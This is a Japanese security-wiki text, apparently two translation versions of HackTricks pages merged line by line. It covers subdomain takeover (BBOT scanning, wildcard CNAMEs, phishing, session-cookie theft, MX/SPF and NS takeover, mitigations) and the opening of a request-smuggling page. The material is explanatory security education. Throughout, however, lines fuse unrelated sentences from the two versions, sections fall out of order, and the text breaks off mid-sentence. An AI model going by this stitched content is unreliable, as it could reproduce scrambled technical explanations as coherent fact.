* [https://github.com/m4ll0k/takeover](https://github.com/m4ll0k/takeover) - [https://github.com/m4ll0k/takeover](https://github.com/m4ll0k/takeover)
* [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover) - [https://github.com/antichown/subdomain-takeover](https://github.com/antichown/subdomain-takeover)
* [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover) - [https://github.com/musana/mx-takeover](https://github.com/musana/mx-takeover)
#### [BBOT](https://github.com/blacklanternsecurity/bbot)を使用した乗っ取り可能なサブドメインのスキャン #### [BBOT](https://github.com/blacklanternsecurity/bbot)を使用してハイジャック可能なサブドメインをスキャンする
サブドメインの乗っ取りチェックは、BBOTのデフォルトのサブドメイン列挙に含まれています。シグネチャは直接[https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)から引き出されます。 BBOTのデフォルトのサブドメイン列挙には、サブドメインの乗っ取りチェックが含まれています。シグネチャは直接[https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)から取得されます。
```bash ```bash
bbot -t evilcorp.com -f subdomain-enum bbot -t evilcorp.com -f subdomain-enum
``` ```
### DNSワイルドカードを用したサブドメイン乗っ取り ### DNSワイルドカードを使用したサブドメイン乗っ取り
ドメインでDNSワイルドカードが使用されている場合、そのドメインのリクエストされたサブドメインで明示的に異なるアドレスが設定されていないものは、**同じ情報に解決されます**。これはA IPアドレスやCNAMEなどです。 ドメインでDNSワイルドカードが使用されると、そのドメインのリクエストされたサブドメインのうち、明示的に異なるアドレスが指定されていないものは、**同じ情報に解決されます**。これはA IPアドレス、CNAMEなどである可能性があります。
例えば、`*.testing.com`がワイルドカードで`1.1.1.1`に設定されている場合、`not-existent.testing.com`は`1.1.1.1`を指します。 例えば、`*.testing.com`が`1.1.1.1`にワイルドカード指定されている場合、`not-existent.testing.com`は`1.1.1.1`を指すことになります。
しかし、IPアドレスにポイントする代わりに、システム管理者が**CNAMEを介してサードパーティサービス**、例えば**githubサブドメイン**`sohomdatta1.github.io`など)にポイントした場合、攻撃者は**自身のサードパーティページを作成**することができますこの場合はGithub。そして、`something.testing.com`がそこを指していると言います。**CNAMEワイルドカード**が同意するため、攻撃者は被害者のドメインの任意のサブドメインを自分のページにポイントするように**生成することができます** しかし、IPアドレスではなく、サードパーティーサービスをCNAME経由で指定する場合、たとえば**githubのサブドメイン**`sohomdatta1.github.io`などに指定する場合、攻撃者は自分のサードパーティーページこの場合はGithubを作成し、`something.testing.com`がそこを指すと主張することができます。**CNAMEワイルドカード**が攻撃者に同意するため、攻撃者は被害者のドメインのために**自分のページを指す任意のサブドメインを生成**することができます
この脆弱性の例はCTFのライトアップで見つけることができます:[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api) この脆弱性の例は、CTFの解説で見つけることができます:[https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
## サブドメイン乗っ取りの悪用 ## サブドメイン乗っ取りの悪用
**この情報は** [**https://0xpatrik.com/subdomain-takeover/**](https://0xpatrik.com/subdomain-takeover/) **からコピーされました** サブドメイン乗っ取りは、インターネット全体の特定のドメインに対するDNSスプーフィングであり、攻撃者がドメインのAレコードを設定し、ブラウザが攻撃者のサーバーからコンテンツを表示するようにするものです。ブラウザの**透明性**により、ドメインはフィッシング攻撃の標的となります。攻撃者は、この目的のために[_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting)や[_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を利用することがあります。特に、フィッシングメールのURLが正当であるように見えるドメインでは、ドメインの信頼性により、ユーザーを欺いてスパムフィルターを回避することができます。
最近、私はサブドメイン乗っ取りの基本について[書きました](https://0xpatrik.com/subdomain-takeover-basics/)。この概念は現在一般的によく理解されていますが、人々は通常、サブドメイン乗っ取りがもたらすリスクを把握するのに苦労していることに気づきました。この投稿では、私の視点からサブドメイン乗っ取りの最も注目すべきリスクについて詳しく説明します。 詳細については、[この投稿を参照してください](https://0xpatrik.com/subdomain-takeover/)
_注いくつかのリスクはクラウドプロバイダーによって暗黙的に軽減されます。例えば、Amazon CloudFrontでサブドメイン乗っ取りが可能な場合、SPFチェックをバイパスするためにTXTレコードを設定する方法はありません。したがって、この投稿は一般的なサブドメイン乗っ取りのリスクを提供することを目的としています。それにもかかわらず、これらのほとんどはクラウドプロバイダーにも適用されます。_ ### **SSL証明書**
SSL証明書は、攻撃者が[_Let's Encrypt_](https://letsencrypt.org/)などのサービスを介して生成した場合、これらの偽のドメインの信頼性を高め、フィッシング攻撃をより説得力のあるものにします。
### ブラウザへの透明性 <a href="#transparencytoabrowser" id="transparencytoabrowser"></a> ### **Cookieセキュリティとブラウザの透明性**
ブラウザの透明性は、[同一オリジンポリシー](https://en.wikipedia.org/wiki/Same-origin_policy)などのポリシーによって管理されるクッキーのセキュリティにも適用されます。セッションの管理やログイントークンの保存によく使用されるクッキーは、サブドメイン乗っ取りを通じて悪用される可能性があります。攻撃者は、単にユーザーを侵害されたサブドメインに誘導することで、セッションクッキーを収集することができ、ユーザーデータとプライバシーを危険にさらすことができます。
まず、CNAMEが関与するDNS解決を見てみましょう ### **メールとサブドメイン乗っ取り**
サブドメイン乗っ取りの別の側面には、メールサービスが含まれます。攻撃者は、合法的なサブドメインからメールを受信または送信するために**MXレコード**を操作することができ、フィッシング攻撃の効果を高めることができます。
![DNS resolution](https://0xpatrik.com/content/images/2018/05/resolution-2.png) ### **高次のリスク**
さらなるリスクには、**NSレコード乗っ取り**があります。攻撃者がドメインの1つのNSレコードを制御すると、トラフィックの一部を自分の管理下のサーバーに向ける可能性があります。攻撃者がDNSレコードのTTL生存時間を高く設定すると、攻撃の期間が延長されるため、このリスクは増幅されます。
ステップ7が_anotherdomain.com_ではなく_sub.example.com_を要求することに注意してください。それは、ウェブブラウザが_anotherdomain.com_の存在を認識していないためです。CNAMEレコードが使用されていても、ブラウザのURLバーには_sub.example.com_が含まれています。これがブラウザの**透明性**です。考えてみると、ブラウザはDNSリゾルバがドメインに関する正確な情報を提供することに全ての信頼を置いています。簡単に言うと、サブドメイン乗っ取りはインターネット上の特定のドメインに対するDNSスプーフィングです。なぜなら、影響を受けたドメインのDNS解決を行うブラウザは、攻撃者によって設定されたAレコードを受け取るからです。その後、ブラウザはこのサーバーから受け取ったものを表示しますそれが正当であると考えています ### **緩和策**
緩和策には以下が含まれます:
1. **脆弱なDNSレコードの削除** - サブドメインが不要になった場合に効果的です。
2. **ドメイン名の取得** - 対応するクラウドプロバイダーでリソースを登録するか、期限切れのドメインを再購入することができます。
3. **脆弱性の定期的な監視** - [aquatone](https://github.com/michenriksen/aquatone)などのツールを使用して、脆弱なドメインを特定することができます。組織はまた、DNSレコードの作成がリソース作成の最終段階であり、リソースの破棄の最初の段階であることを確認するために、インフラ管理プロセスを見直す必要があります。
そのようなドメインはフィッシングに最適なシナリオです。攻撃者はしばしば[_タイポスクワッティング_](https://en.wikipedia.org/wiki/Typosquatting)やいわゆる[_ドッペルゲンガードメイン_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger)を使用して、フィッシング目的で正当なドメイン/ウェブサイトを模倣します。攻撃者が正当なドメイン名を乗っ取った後、通常のユーザーがドメイン上のコンテンツが正当な当事者によって提供されているのか攻撃者によって提供されているのかを判断することはほぼ不可能です。たとえば、ランダムな銀行を例に取りましょう。銀行のサブドメインの1つがサブドメイン乗っ取りに対して脆弱である場合、攻撃者は銀行のインターネットバンキングシステムへのログインフォームを模倣するHTMLフォームを作成することができます。その後、攻撃者はユーザーにログインしてパスワードを変更するように求めるスピアフィッシングまたは大量フィッシングキャンペーンを実行することができます。この段階で、パスワードは質問のドメインを制御している攻撃者によってキャプチャされます。フィッシングメールに記載されているURLは銀行の正当なサブドメインです。したがって、ユーザーは何か悪意のあることが進行中であるとは認識していません。スパムフィルターや他のセキュリティ対策も、それが高い信頼を持つドメイン名を含んでいるため、スパムや悪意のあるものとしてトリガーされる可能性が低くなります。 クラウドプロバイダーにとって、ドメイン所有権の検証はサブドメイン乗っ取りを防ぐために重要です。[GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)など、一部のプロバイダーはこの問題を認識し、ドメイン検証メカニズムを実装しています。
確かに、ドメイン名自体が成功したキャンペーンで重要な役割を果たします。サブドメイン乗っ取りに対して脆弱な5階層のサブドメインは、フレンドリーなサブドメイン名を持つ2階層のサブドメインよりもはるかに_"正当"_ではありません。私はフィッシングに最適なサブドメインのいくつかの例を見ましたが、それには以下が含まれます # 参考文献
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
* _purchases.SOMETHING.com_ <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* _www.SOMETHING.com_
* _online.SOMETHING.com_
* _shop.SOMETHING.com_
これらはすべてサブドメイン乗っ取りに対して脆弱です。そして、それらはすべて大手ブランドでした。完璧なフィッシングについて話しているのですか?
それにもかかわらず、最近のフィッシングキャンペーンは、ブランド名を含む長いドメイン名のドメイン上でコンテンツをホストしています([Appleの例](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)を参照。有効なSSL証明書以下で詳しく説明します、ドメイン名のキーワード、および対象ブランドのウェブサイトを模倣するウェブサイトを持っているため、人々はこれらの攻撃に陥りがちです。このブランドの正当なサブドメインでのチャンスについて考えてみてください。
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も進んだ**コミュニティツールによって動力を供給される**ワークフローを簡単に構築および自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセス: 今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### SSL証明書 <a href="#sslcertificates" id="sslcertificates"></a> <details>
上記の攻撃は、有効なSSL証明書を生成することで強化される可能性があります。[_Let's Encrypt_](https://letsencrypt.org/)などの証明機関は、コンテンツ検証によるドメイン所有権の自動検証を許可しています: <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
![Let's Encrypt Flow](https://0xpatrik.com/content/images/2018/05/letsencrypt.png) HackTricksをサポートする他の方法
つまり、特定のURLパスに特定のコンテンツが配置されている場合、Let's Encryptはそのドメインの証明書の発行を承認します。攻撃者がサブドメイン乗っ取りに脆弱なドメインのコンテンツを完全に制御しているため、この検証は数分で行うことができます。したがって、攻撃者はそのようなドメインのSSL証明書も生成することができ、これによりフィッシング攻撃の疑いがさらに低くなります。 * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
### クッキー盗難 <a href="#cookiestealing" id="cookiestealing"></a> </details>
これはブラウザの透明性と連動していますが、異なる結果をもたらします。ウェブブラウザは、悪意のあるウェブサイトが害を及ぼすのを防ぐために多くのセキュリティポリシーを実装しています。これには、[Same-origin policy](https://en.wikipedia.org/wiki/Same-origin\_policy)などのものが含まれます。ブラウザの主要なセキュリティ責任の1つは、保存されたクッキーを保護することです。なぜなら、HTTPはステートレスプロトコルである一方で、クッキーはセッションを追跡するために使用されるからです。便宜上、ユーザーはしばしばクッキーを長期間保存して、毎回ログインする必要をなくします。これらのクッキーは、ウェブサーバーに提示されるログイントークンとして機能し、ユーザーが識別されます。[_セッションハイジャック_](https://en.wikipedia.org/wiki/Session\_hijacking)などの攻撃は、この概念から自然に進化しました。
ブラウザは、それらを発行したドメインへのすべてのリクエストとともに自動的に保存されたクッキーを提示します。クッキーがサブドメイン間で共有される可能性があるという例外があります([こちらを読む](https://tools.ietf.org/html/rfc6265#section-8.6)、セクション8.7にも注意してください)。通常、ウェブサイトがクッキーベースの[Single sign-on](https://en.wikipedia.org/wiki/Single\_sign-on)SSOシステムを使用している場合に発生します。SSOを使用すると、ユーザーは1つのサブドメインでログインし、広範囲のサブドメインにわたって同じセッショントークンを共有することができます。通常のクッキーを設定する構文は次のとおりです
```
HTTP/1.1 200 OK
Set-Cookie: name=value
```
```markdown
このクッキーが _example.com_ に存在するウェブサーバーによって発行された場合、このサーバーのみが後でこのクッキーにアクセスできます。しかし、上述の理由により、クッキーは以下の方法でワイルドカードドメインに対して発行されることがあります:
```
```
HTTP/1.1 200 OK
Set-Cookie: name=value; domain=example.com
```
```markdown
クッキーは、_example.com_ へのHTTPリクエストに含まれるだけでなく、_subdomain.example.com_ などの他のサブドメインにも含まれます。この挙動は、サブドメインの乗っ取りを使用した高重大度の攻撃の可能性を生み出します。特定のドメインがワイルドカードドメインのセッションクッキーを使用していると仮定します。サブドメインの乗っ取りに弱いものが1つある場合、ユーザーのセッショントークンを収集するために必要なのは、彼または彼女を脆弱なサブドメインに訪問させることだけです。セッションクッキーは自動的にHTTPリクエストと共に送信されます。
ブラウザはクッキーに対して追加のセキュリティメカニズムも実装しています:
* **HttpOnlyクッキー** — デフォルトでは、クッキーはそれを作成したウェブサイトのコンテキストで実行されるJavascriptコードによってアクセス可能です。Javascriptはクッキーを読み取り、更新、削除することができます。_HttpOnly_ クッキーフラグウェブサーバーによって設定されるは、特定のクッキーがJavascriptコードによってアクセスできないことを示します。それを取得する唯一の方法は、HTTPリクエストとレスポンスヘッダーを通じてです。
* **Secureクッキー** — ウェブサーバーによって_Secure_フラグが設定されたクッキーは、HTTPSが使用されている場合にのみウェブサーバーに返送されます。
ドメインがサブドメインの乗っ取りに弱い場合、攻撃者はそのドメインによって過去に発行されたクッキーを、ユーザーをそのウェブサイトに訪問させることで収集することができます。HttpOnlyおよびSecureフラグは役に立ちません。なぜなら、クッキーはJavascriptを使用してアクセスされておらず、SSL証明書は乗っ取られたドメインに対して簡単に生成できるからです。
乗っ取りを使用したクッキーの盗難については、Arne Swinnenによるバグバウンティ[レポート](https://hackerone.com/reports/172137)で説明されています。レポートでは、_Ubiquiti Networks_ のサブドメイン_ping.ubnt.com_の問題について説明しています。このサブドメインはサブドメインの乗っ取りに弱く、未請求のAWS CloudFrontディストリビューションを指していました。Ubiquiti Networksがワイルドカードセッションクッキーを使用してSSOを使用しているため、_ping.ubnt.com_ を訪れたすべてのユーザーはセッションクッキーを盗まれる可能性がありました。このドメインがAWS CloudFrontを指しているにもかかわらず、CloudFrontディストリビューションの設定では、各リクエストでクッキーを記録することが許可されています。したがって、AWS CloudFrontを指すサブドメインであっても、セッションクッキーを抽出するシナリオは完全に可能です。2017年には、Arneは[UberのSSOシステム](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/)に対する類似の攻撃ベクトルも実演しました。
上記で説明した挙動はクッキーに限定されません。Javascriptスクリプトは実行されるウェブサイトを完全に制御できるため、正規のウェブサイト上のスクリプトを置き換える能力を持つことは、壊滅的な結果をもたらす可能性があります。ウェブサイトが_script_タグと_src_属性を使用して外部プロバイダーからのJavascriptコードを使用しているとします。外部プロバイダーのドメインが期限切れになると、ブラウザは静かに失敗します。つまり、通常のユーザーに見えるアラートをトリガーしません。外部コードが重要なことをしていない場合例えば、トラッキングのみに使用されている、そのような外部プロバイダーは長期間ウェブサイトに残るかもしれません。攻撃者はこの期限切れのドメインを乗っ取り、提供されたJavascriptコードのURLパスに一致させることで、元のウェブサイトを訪れるすべての訪問者を制御することができます。
ただし、ブラウザでJavascriptファイルの完全性を保護する方法が1つあります。_Subresource Integrity_ [は提案されました](https://www.w3.org/TR/2016/REC-SRI-20160623/) HTML5の_script_タグに暗号化ハッシュを_integrity_属性として含めるメカニズムとしてです。提供された暗号化ハッシュがダウンロードされたファイルと一致しない場合、ブラウザはそれを実行することを拒否します。
### Eメール <a href="#emails" id="emails"></a>
CNAMEサブドメインの乗っ取りが可能な場合、攻撃者はMXレコードも任意のウェブサーバーに設定することができます。これにより、何らかのブランドの正当なサブドメインにEメールを受信することが可能になります - 特に攻撃者と被害者の間のやり取りが必要なスピアフィッシング攻撃で役立ちます。攻撃者は通常、Eメールへの返信を受け取るために`Return-Path`ヘッダーを偽装します。正しいMXレコードがあれば、この問題は回避されます。
一方で、Eメールの送信も可能です。任意のEメールアドレスを含む`From`ヘッダーを偽装することは簡単ですが、SPFフィルターは通常、`Return-Path`ヘッダーとドメインの許可されたメール送信ホストをチェックしています。SPFはDNS TXTレコードに設定を保存します。サブドメインの乗っ取りにより、TXTレコードも攻撃者の制御下にあります - SPFチェックは簡単に通過できます。
_冒頭で述べたように、これらの戦術は通常、DNSゾーンを直接制御できないため、多くのクラウドプロバイダーでは機能しません。_
### 高次のリスク <a href="#higherorderrisks" id="higherorderrisks"></a>
サブドメインの乗っ取りの概念は、NSレコードに自然に拡張することができます少なくとも1つのNSレコードのベースドメインが登録可能である場合、ソースドメイン名はサブドメインの乗っ取りに弱いです。
NSレコードを使用したサブドメインの乗っ取りの問題の1つは、ソースドメイン名には通常、複数のNSレコードがあることです。複数のNSレコードは冗長性と負荷分散のために使用されます。DNS解決の前に、ネームサーバーはランダムに選ばれます。_sub.example.com_ が2つのNSレコードを持っているとします_ns.vulnerable.com_ と _ns.nonvulnerable.com_。攻撃者が_ns.vulnerable.com_を乗っ取った場合、_sub.example.com_を問い合わせるユーザーの視点からの状況は次のようになります
1. 2つのネームサーバーがあるため、ランダムに1つが選ばれます。これは、攻撃者が制御するネームサーバーに問い合わせる確率が50であることを意味します。
2. ユーザーのDNSリゾルバーが_ns.nonvulnerable.com_正当なネームサーバーを選択した場合、正しい結果が返され、6時間から24時間の間どこかでキャッシュされる可能性があります。
3. ユーザーのDNSリゾルバーが_ns.vulnerable.com_攻撃者が所有するネームサーバーを選択した場合、攻撃者は偽の結果を提供することができ、それもキャッシュされます。攻撃者がネームサーバーを制御しているため、この特定の結果のTTLを例えば1週間に設定することができます。
上記のプロセスは、キャッシュエントリが期限切れになるたびに繰り返されます。攻撃者が高い値のTTLを使用することを選択した場合、偽の結果はその期間、DNSキャッシュに残ります。この間、_sub.example.com_へのすべてのリクエストは、攻撃者によってキャッシュされた偽のDNS結果を使用します。このアイデアは、公共のDNSリゾルバー例えば、Google DNSが使用される場合にさらに増幅されます。この場合、公共のリゾルバーは偽の結果をキャッシュする可能性が高く、同じDNSリゾルバーを使用するすべてのユーザーがキャッシュが取り消されるまで偽の結果を得ることになります。
ソースドメイン名の制御に加えて、ソースドメイン名のすべての上位レベルのドメインの制御も得られます。それは、NSレコードの正規ドメイン名を所有することは、ソースドメイン名の完全なDNSゾーンを所有することを意味するからです。
2016年に、Matthew Bryantは_INT_トップレベルドメインの_maris.int_でNSレコードを使用したサブドメインの乗っ取りを[実演しました](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)。.INTトップレベルドメインは特別なTLDであり、ごく少数のドメインがそれを使用しています。Bryantは、そのようなドメイン名の登録がIANAによって排他的に承認されているにもかかわらず、ネームサーバーは任意のドメインに設定できることを示しました。_maris.int_のネームサーバーの1つが登録可能であった_cobalt.aliis.be_ため、この制限されたTLDでもサブドメインの乗っ取りが可能でした。
Matthewはまた、.IOトップレベルドメインのネームサーバーを制御することで、さらに重大度の高い攻撃を[実演しました](https://thehackerblog.com/the-io-error-taking-control-of-all-io-domains-with-a-targeted-registration/index.html)。.IOを制御することは、すべての.IOドメイン名の応答を制御することを意味します。この場合、.IOのネームサーバーの1つは_ns-a1.io_であり、登録可能でした。_ns-a1.io_を登録することにより、Bryantはすべての.IOドメインのDNSクエリを受信し、その応答を制御することができました。
### 軽減策 <a href="#mitigation" id="mitigation"></a>
すでにサブドメインの乗っ取りに弱いドメイン名に対する軽減策は比較的簡単です:
* **影響を受けるDNSレコードを削除する** — 最も簡単な解決策は、影響を受けるレコードをDNSゾーンから削除することです。このステップは通常、影響を受けるソースドメイン名がもはや必要ではないと組織が結論付けた場合に使用されます。
* **ドメイン名を主張する** — これは、特定のクラウドプロバイダーでリソースを登録すること、または通常のインターネットドメインの場合は、期限切れのドメインを再購入することを意味します。
将来のサブドメインの乗っ取りを防ぐために、組織はインフラストラクチャ内でリソースを作成および破棄するプロセスを変更する必要があります。リソース作成の場合、DNSレコードの作成はこのプロセスの_最後のステップ_でなければなりません。この条件は、DNSレコードがいかなる時点でも存在しないドメインを指していないことを防ぎます。リソースの破棄の場合、逆が当てはまりますDNSレコードはこのプロセスの_最初のステップ_として削除する必要があります。[aquatone](https://github.com/michenriksen/aquatone)などのツールにはサブドメインの乗っ取りのチェックが含まれています。チェックは組織のセキュリティチームによって定期的に実行されるべきであり、脆弱なドメインがないことを確認

View file

@ -1,63 +1,63 @@
# HTTPリクエストスマグリング / HTTPディスインクアタック # HTTP リクエストスマグリング / HTTP デシンク攻撃
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
</details> </details>
## これは何か ## 何を指す
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバー間の**非同期化**が、攻撃者がフロントエンドプロキシ(ロードバランサー/リバースプロキシ)によって**単一のリクエスト**として**解釈される**HTTP**リクエスト**を**送信**できるようにし、バックエンドサーバーによって**2つのリクエスト**として解釈されることを可能にします。\ この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバの間の**非同期化**により、**攻撃者**が**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**1つのリクエスト**として**解釈**され、**バックエンド**サーバによって**2つのリクエスト**として**解釈**されるHTTP **リクエスト**を**送信**できるようにします。\
これにより、ユーザーは**自分の後にバックエンドサーバーに到着する次のリクエストを変更**することができます。 これにより、ユーザーは**自分の後に到着する次のリクエストを変更**できます。
### 理論 ### 理論
[**RFC仕様 (2161)**](https://tools.ietf.org/html/rfc2616) [**RFC 仕様2161**](https://tools.ietf.org/html/rfc2616)
> Transfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方がメッセージで受信された場合、後者は無視されなければなりません > メッセージに Transfer-Encoding ヘッダーフィールドと Content-Length ヘッダーフィールドの両方が含まれる場合、後者は無視される必要があります
**Content-Length** **Content-Length**
> Content-Lengthエンティティヘッダーは、受信者に送信されたエンティティボディのサイズをバイト単位で示します。 > Content-Length エンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。\ > Transfer-Encoding ヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。\
> Chunkedは、大きなデータが一連のチャンクで送信されることを意味します > Chunked は、大きなデータがチャンクのシリーズで送信されることを意味します
### 現実 ### 現実
**フロントエンド**(ロードバランサー/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーはもう一方を**処理**し、2つのシステム間で**非同期化**を引き起こします。\ **フロントエンド**(ロードバランス/リバースプロキシ)は _**content-length**_ または _**transfer-encoding**_ ヘッダーを処理し、**バックエンド**サーバは**もう一方**を処理して、2つのシステムの間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、攻撃者はリバースプロキシにリクエストを送信することができ、バックエンドサーバーはそれを**2つの異なるリクエスト**として**解釈**します。この技術の**危険性**は、バックエンドサーバーが**2番目の注入されたリクエスト**を、次のクライアントから来たかのように**解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部になることにあります。 これは、**攻撃者がリバースプロキシに1つのリクエストを送信**し、**バックエンド**サーバがそれを**2つの異なるリクエスト**として解釈することができるため、非常に重大です。この技術の危険性は、**バックエンド**サーバが**注入された2番目のリクエスト**を**次のクライアントから来たものとして解釈**し、そのクライアントの**実際のリクエスト**が**注入されたリクエスト**の一部として含まれる可能性があることにあります。
### 特 ### 特異点
HTTPでは**改行文字が2バイトで構成されている**ことを覚えておいてください: HTTP では、**改行文字は2バイトで構成される**ことを覚えておいてください:
* **Content-Length**: このヘッダーは**10進数**を使用してリクエストの**ボディ**の**バイト数**を示します。ボディは最後の文字で終わることが期待されており、リクエストの最後に**改行は必要ありません**。 * **Content-Length**: このヘッダーは、リクエストのボディのバイト数を示す **10進数** を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの末尾に改行は必要ありません**。
* **Transfer-Encoding:** このヘッダーは**ボディ**内で**16進数**を使用して**次のチャンク**の**バイト数**を示します。**チャンク**は**改行で終わる**必要がありますが、この改行は長さの指標には**カウントされません**。この転送方法は**サイズ0のチャンクに続いて2つの改行で終わる**必要があります: `0` * **Transfer-Encoding:** このヘッダーは、**次のチャンクのバイト数**を示す **16進数****ボディ**で使用します。**チャンク**は **改行で終了**する必要がありますが、この改行は **長さ指示子には含まれません**。この転送方法は、**サイズ0のチャンクに続く2つの改行で終了**する必要があります: `0`
* **Connection**: 私の経験に基づいて、リクエストスマグリングの最初のリクエストには**`Connection: keep-alive`**を使用することをお勧めします。 * **Connection**: 私の経験に基づいて、リクエストスマグリングの最初のリクエスト**`Connection: keep-alive`** を使用することをお勧めします。
## 基本的な例 ## 基本的な例
したがって、リクエストスマグリング攻撃は、単一のHTTPリクエストに`Content-Length`ヘッダーと`Transfer-Encoding`ヘッダーの両方を配置し、これらを操作してフロントエンドとバックエンドサーバがリクエストを異なる方法で処理するようにすることが含まれます。これを行う正確な方法は、2つのサーバーの動作に依存します: したがって、リクエストスマグリング攻撃は、`Content-Length` ヘッダーと `Transfer-Encoding` ヘッダーの両方を単一のHTTPリクエストに配置し、これらを操作してフロントエンドとバックエンドサーバがリクエストを異なる方法で処理するようにします。これを行う具体的な方法は、2つのサーバの動作に依存します:
* **CL.TE**: フロントエンドサーバーは`Content-Length`ヘッダーを使用し、バックエンドサーバーは`Transfer-Encoding`ヘッダーを使用します。 * **CL.TE**: フロントエンドサーバ`Content-Length` ヘッダーを使用し、バックエンドサーバが `Transfer-Encoding` ヘッダーを使用します。
* **TE.CL**: フロントエンドサーバーは`Transfer-Encoding`ヘッダーを使用し、バックエンドサーバーは`Content-Length`ヘッダーを使用します。 * **TE.CL**: フロントエンドサーバ`Transfer-Encoding` ヘッダーを使用し、バックエンドサーバが `Content-Length` ヘッダーを使用します。
* **TE.TE**: フロントエンドとバックエンドのサーバーは両方とも`Transfer-Encoding`ヘッダーをサポートしていますが、ヘッダーを何らかの方法で難読化することによって、サーバーの1つがそれを処理しないように誘導することができます。 * **TE.TE**: フロントエンドサーバとバックエンドサーバの両方が `Transfer-Encoding` ヘッダーをサポートしていますが、サーバの1つはヘッダーを何らかの方法で曖昧化して処理しないように誘導できます。
### CL.TE脆弱性 ### CL.TE 脆弱性
